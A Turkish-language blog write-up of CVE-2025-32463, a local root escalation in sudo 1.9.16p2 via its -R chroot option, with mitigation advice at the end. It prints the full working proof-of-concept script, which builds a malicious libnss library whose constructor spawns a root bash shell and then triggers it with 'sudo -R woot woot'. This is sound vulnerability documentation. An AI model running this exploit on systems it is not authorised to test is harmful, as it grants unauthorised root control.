← back to blog
EN TR

CVE-2025-32463: Sudo Local Privilege Escalation

On this page

Sudo 1.9.16p2 – CVE-2025-32463 Local Privilege Escalation Exploit

Zafiyet Özeti

Bu write-up’ta, Rich Mirch tarafından yayınlanan sudo-chwoot.sh exploit kodunu kullanarak CVE-2025-32463 yerel yetki yükseltme (EoP) zafiyetini istismar ediyoruz. Zafiyet, sudo’nun -R parametresi (alternatif kök dizin belirleme) kullanılarak bazı güvenlik kontrollerini atlatabilmesinden kaynaklanıyor. Bu durum, bir kullanıcının özel olarak hazırlanmış bir ortamda libnss yüklemesini manipüle ederek root yetkili shell elde etmesini mümkün kılıyor.


Hedef Sistem Özeti

Dağıtım: Kali Linux 6.12.25

Sudo Sürümü: 1.9.16p2

Güvenlik Güncellemeleri: Kapalı

Kullanıcı Yetkisi: sudo -R parametresiyle sınırlı sudo erişimi


Exploit Nasıl Çalışıyor?

1. libnss Manipülasyonu

sudo komutu çalıştırılırken, sistem kullanıcı bilgilerini almak için libnss (Name Service Switch) kütüphanelerine başvurur. Normalde bu kütüphaneler /lib/x86_64-linux-gnu/ gibi sistem dizinlerinden yüklenir. Ancak sudo -R komutu ile kök dizin değiştirilirse (chroot benzeri bir ortam), libnss dosyaları belirtilen dizin altından yüklenmeye çalışılır.

2. constructor ile Yürütme

Exploit, libnss_woot1337.so.2 adında bir shared object (paylaşımlı nesne) üretir. Bu dosyanın içinde yer alan constructor fonksiyonu sayesinde kütüphane yüklendiği anda otomatik olarak çalıştırılır:

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

Bu kod, efektif kullanıcı ve grup kimliklerini 0 (root) yaparak, sistem kabuğunu root yetkileriyle başlatır.

3. sudo -R ile Tuzağa Düşürme

sudo -R woot woot

Bu komut, woot dizinini kök (/) olarak kabul eder ve orada libnss_woot1337.so.2 dosyasının bulunduğunu varsayarak onu yüklemeye çalışır. Bu sırada exploit tetiklenir ve kullanıcı doğrudan root shell elde eder.


Exploit Kod Analizi

#!/bin/bash
# CVE-2025-32463 – Sudo EoP Exploit PoC

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Proof of Concept

Script’i çalıştırıyoruz ve ardından shell açılıyor, id komutuyla ile root yetkisi doğrulanıyor.


Teknik Detaylar

  • sudo çalışırken, kullanıcı bilgilerini almak için libnss dosyalarını kök dizinden (/) göreceli olarak yükler.
  • -R bayrağı, bu yolu saldırganın kontrolündeki bir dizine yönlendirerek kendi kütüphanesini yüklemesine olanak tanır.
  • Kütüphane yüklenince, içindeki constructor kodu tetiklenir.
  • Kod, root yetkileriyle kabuk açar ve kullanıcının kontrolünü sisteme verir.

Zafiyetin Giderilmesi

Güvenlik önlemleri:

  • sudo sürümünüzü güncelleyin.
  • Kullanıcıların sudo -R gibi özel root dizin belirleme yetkilerini kısıtlayın.
  • NSS yüklemelerinde dış dizinlere güvenmeyin; sert yol tanımlamaları ve kütüphane doğrulaması uygulayın.

Kaynaklar


Sonuç

Bu zafiyet, sistemin yapılandırma hatalarından faydalanarak root yetkilerinin kolayca alınmasına neden olmaktadır. libnss gibi temel sistem bileşenlerinin uygun şekilde yalıtılmaması ve sudo -R’nin etkili güvenlik kontrollerine tabi olmaması, bu açığın var olmasına neden olmuştur. Sistem yöneticileri, kullanıcıların yetkilerini dikkatli sınırlandırmalı ve sudo yapılandırmalarını düzenli olarak gözden geçirmelidir.